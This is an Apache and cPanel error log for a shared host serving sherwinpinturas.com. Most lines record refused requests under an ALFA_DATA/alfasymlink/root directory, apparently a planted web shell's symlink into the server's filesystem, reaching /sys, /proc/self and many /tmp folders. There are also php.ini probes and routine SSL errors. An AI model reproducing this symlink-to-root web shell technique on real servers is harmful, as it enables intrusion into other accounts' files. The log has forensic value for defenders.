[Mon Oct 26 00:05:54.812247 2026] [security2:error] [pid 2958988:tid 2958988] [client 44.194.139.149:57188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/10/address"] [unique_id "at7RogYue--VGB-9RmiCxAAAAAA"]
[Mon Oct 26 00:05:54.812275 2026] [security2:error] [pid 2958988:tid 2958988] [client 44.194.139.149:57188] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/slots/10/address"] [unique_id "at7RogYue--VGB-9RmiCxAAAAAA"]
[Mon Oct 26 00:05:58.567849 2026] [ssl:error] [pid 2952056:tid 2952056] (70014)End of file found: [client 52.70.209.13:52744] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:02.742533 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 100.28.49.152:48612] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:06.591942 2026] [ssl:error] [pid 2949651:tid 2949651] (70014)End of file found: [client 44.223.232.55:33802] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:10.629623 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 54.80.73.122:44402] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:14.664528 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 44.223.115.10:33729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:26.451596 2026] [ssl:error] [pid 2959086:tid 2959086] (70014)End of file found: [client 54.85.7.119:57456] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:30.409539 2026] [ssl:error] [pid 2958988:tid 2958988] (70014)End of file found: [client 3.224.205.25:30723] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:42.323197 2026] [ssl:error] [pid 2958988:tid 2958988] (70014)End of file found: [client 34.238.45.183:3780] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:06:46.325789 2026] [core:error] [pid 2942316:tid 2942316] (13)Permission denied: [client 44.223.116.180:49063] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/PNP0A03:00/physical_node/0000:00:01.2/resource4
[Mon Oct 26 00:06:54.245121 2026] [core:error] [pid 2959086:tid 2959086] (13)Permission denied: [client 34.227.156.153:65013] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/devices/0000:00:04.0/remove
[Mon Oct 26 00:07:09.425941 2026] [authz_core:error] [pid 2959087:tid 2959087] [client 47.79.207.160:24894] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/contacto/php.ini, referer: https://www.google.com/
[Mon Oct 26 00:07:14.280220 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 52.70.123.241:4773] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:07:20.341327 2026] [core:error] [pid 2959086:tid 2959086] (13)Permission denied: [client 85.208.96.208:48766] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/khugepaged_mm_slot/cpu_slabs
[Mon Oct 26 00:07:22.183182 2026] [core:error] [pid 2959087:tid 2959087] (13)Permission denied: [client 35.169.119.108:5415] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/physical_node/0000:00:04.0/driver/module/drivers/pci:virtio-pci/0000:00:03.0/driver/unbind
[Mon Oct 26 00:07:23.716880 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 85.208.96.194:50572] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/UNIX/min_partial
[Mon Oct 26 00:07:26.178731 2026] [core:error] [pid 2952056:tid 2952056] (13)Permission denied: [client 98.82.59.253:25058] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:1e/eject
[Mon Oct 26 00:07:42.187203 2026] [core:error] [pid 2952056:tid 2952056] (13)Permission denied: [client 184.72.95.195:62815] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/PNP0501:00/subsystem/uevent
[Mon Oct 26 00:07:46.174024 2026] [ssl:error] [pid 2942316:tid 2942316] (70014)End of file found: [client 35.153.86.200:55872] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:07:50.311618 2026] [ssl:error] [pid 2959086:tid 2959086] (70014)End of file found: [client 52.2.191.202:31985] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:07:51.483646 2026] [core:error] [pid 2949173:tid 2949173] (13)Permission denied: [client 85.208.96.199:34686] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-96/cpu_partial
[Mon Oct 26 00:07:54.529525 2026] [core:error] [pid 2959085:tid 2959085] (13)Permission denied: [client 3.213.85.234:43557] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/tty/ttyS3/subsystem/tty30/subsystem/ttyS2/line
[Mon Oct 26 00:08:06.320450 2026] [core:error] [pid 2959086:tid 2959086] (13)Permission denied: [client 34.234.197.175:44757] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/drivers/dw_dmac_pci/bind
[Mon Oct 26 00:08:10.174107 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 54.235.172.108:32457] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:08:18.182039 2026] [ssl:error] [pid 2943087:tid 2943087] (70014)End of file found: [client 54.147.182.90:56441] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:08:30.162180 2026] [ssl:error] [pid 2959702:tid 2959702] (70014)End of file found: [client 52.71.46.142:17185] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:08:42.179901 2026] [ssl:error] [pid 2954191:tid 2954191] (22)Invalid argument: [client 52.71.46.142:34207] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:08:54.175783 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 3.222.190.107:35573] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:09:02.224615 2026] [ssl:error] [pid 2958988:tid 2958988] (70014)End of file found: [client 54.225.181.161:23511] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:09:14.168468 2026] [core:error] [pid 2949650:tid 2949650] (13)Permission denied: [client 3.89.176.255:8558] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:18/subsystem/devices/device:05/physical_node/driver/0000:00:04.0/subsystem/drivers/virtio-pci/new_id
[Mon Oct 26 00:09:26.294441 2026] [ssl:error] [pid 2958988:tid 2958988] (70014)End of file found: [client 34.231.156.59:2979] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:09:34.154444 2026] [ssl:error] [pid 2949173:tid 2949173] (70014)End of file found: [client 3.208.156.9:25472] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:09:35.211576 2026] [authz_core:error] [pid 2955283:tid 2955283] [client 198.251.72.22:53410] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 00:09:46.151305 2026] [ssl:error] [pid 2959704:tid 2959704] (70014)End of file found: [client 54.198.33.233:37393] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:09:54.346181 2026] [ssl:error] [pid 2955283:tid 2955283] (70014)End of file found: [client 52.200.142.199:55638] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:09:58.151067 2026] [ssl:error] [pid 2959702:tid 2959702] (70014)End of file found: [client 34.194.95.99:43234] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:10:02.247138 2026] [ssl:error] [pid 2959086:tid 2959086] (70014)End of file found: [client 44.197.76.210:4245] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 00:10:18.368435 2026] [core:error] [pid 2943087:tid 2943087] (13)Permission denied: [client 85.208.96.211:26854] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shmem_inode_cache/poison
[Mon Oct 26 00:10:21.985695 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/RITwlF8UBX/' is executable
[Mon Oct 26 00:10:21.985753 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Xf45g1vOVG/' is executable
[Mon Oct 26 00:10:21.985772 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-066a78cff7bb4934b629849340394ebb-pdns.service-2seL3t/' is executable
[Mon Oct 26 00:10:21.985786 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-chronyd.service-vWPoWj/' is executable
[Mon Oct 26 00:10:21.985882 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/n83SSM739h/' is executable
[Mon Oct 26 00:10:21.985936 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/6kbL1XuIiD/' is executable
[Mon Oct 26 00:10:21.985952 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-wcLs6B/' is executable
[Mon Oct 26 00:10:21.985966 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/v7WsvFUVho/' is executable
[Mon Oct 26 00:10:21.985977 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nnRZJb1Juq/' is executable
[Mon Oct 26 00:10:21.985991 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/puppeteer_dev_chrome_profile-hhMbCm/' is executable
[Mon Oct 26 00:10:21.986005 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-ea-php81-php-fpm.service-OgoCey/' is executable
[Mon Oct 26 00:10:21.986017 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/wBeybsLHXV/' is executable
[Mon Oct 26 00:10:21.986030 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/8q2sCydPh5/' is executable
[Mon Oct 26 00:10:21.986059 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ViFEAD6HYr/' is executable
[Mon Oct 26 00:10:21.986073 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/WnEC8KZtlU/' is executable
[Mon Oct 26 00:10:21.986115 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/hNQbPWd2kD/' is executable
[Mon Oct 26 00:10:21.986130 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/7b1aDEYVIR/' is executable
[Mon Oct 26 00:10:21.986141 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/nL4cUoX2dh/' is executable
[Mon Oct 26 00:10:21.986153 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/atbV7hLAQS/' is executable
[Mon Oct 26 00:10:21.986164 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/oq6K0rejFI/' is executable
[Mon Oct 26 00:10:21.986176 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_4gGxNj1jq/' is executable
[Mon Oct 26 00:10:21.986188 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/PK7EkDXBbp/' is executable
[Mon Oct 26 00:10:21.986200 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/P7NdWo184S/' is executable
[Mon Oct 26 00:10:21.986240 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-pdns.service-79Tblx/' is executable
[Mon Oct 26 00:10:21.986261 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/1Yt1W3a9Ze/' is executable
[Mon Oct 26 00:10:21.986273 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/9rQ4cdkNCQ/' is executable
[Mon Oct 26 00:10:21.986285 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_kkgr6o8ai/' is executable
[Mon Oct 26 00:10:21.986297 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/xjhoijgaTz/' is executable
[Mon Oct 26 00:10:21.986320 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/vhrRK1JXY7/' is executable
[Mon Oct 26 00:10:21.986335 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/w1Du8raeKq/' is executable
[Mon Oct 26 00:10:21.986349 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-5a7b83e3ac9b4700bd5cd3c0a8582662-chronyd.service-8mttHT/' is executable
[Mon Oct 26 00:10:21.986373 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/4x7GklfLfl/' is executable
[Mon Oct 26 00:10:21.986395 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/Jv_fJ8FgT6/' is executable
[Mon Oct 26 00:10:21.986409 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/aWw1loTP0R/' is executable
[Mon Oct 26 00:10:21.986429 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-deb758657a9446d7ad3cee5e2a6a684f-pdns.service-OPTQiD/' is executable
[Mon Oct 26 00:10:21.986447 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rtyBKWjryj/' is executable
[Mon Oct 26 00:10:21.986459 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ipRojNggb4/' is executable
[Mon Oct 26 00:10:21.986471 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/_NkDK_G3eh/' is executable
[Mon Oct 26 00:10:21.986501 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-66b9544970e444e28f4116453fcc8ef9-chronyd.service-7hcWfh/' is executable
[Mon Oct 26 00:10:21.986513 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/kCf6PZ1WYZ/' is executable
[Mon Oct 26 00:10:21.986525 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/84lPUOx2JO/' is executable
[Mon Oct 26 00:10:21.986537 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/js2u_Gtz2I/' is executable
[Mon Oct 26 00:10:21.986563 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/systemd-private-80c69295681241f782d6bee35313cc5c-ea-php81-php-fpm.service-zjLgk3/' is executable
[Mon Oct 26 00:10:21.986591 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/rqXfNeDxe6/' is executable
[Mon Oct 26 00:10:21.986610 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/NgqDY1QDQC/' is executable
[Mon Oct 26 00:10:21.986623 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/S6oGysmQfR/' is executable
[Mon Oct 26 00:10:21.986634 2026] [core:crit] [pid 2958988:tid 2958988] (13)Permission denied: [client 16.216.88.147:24576] AH00529: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/ssmTYfkWmO/' is executable
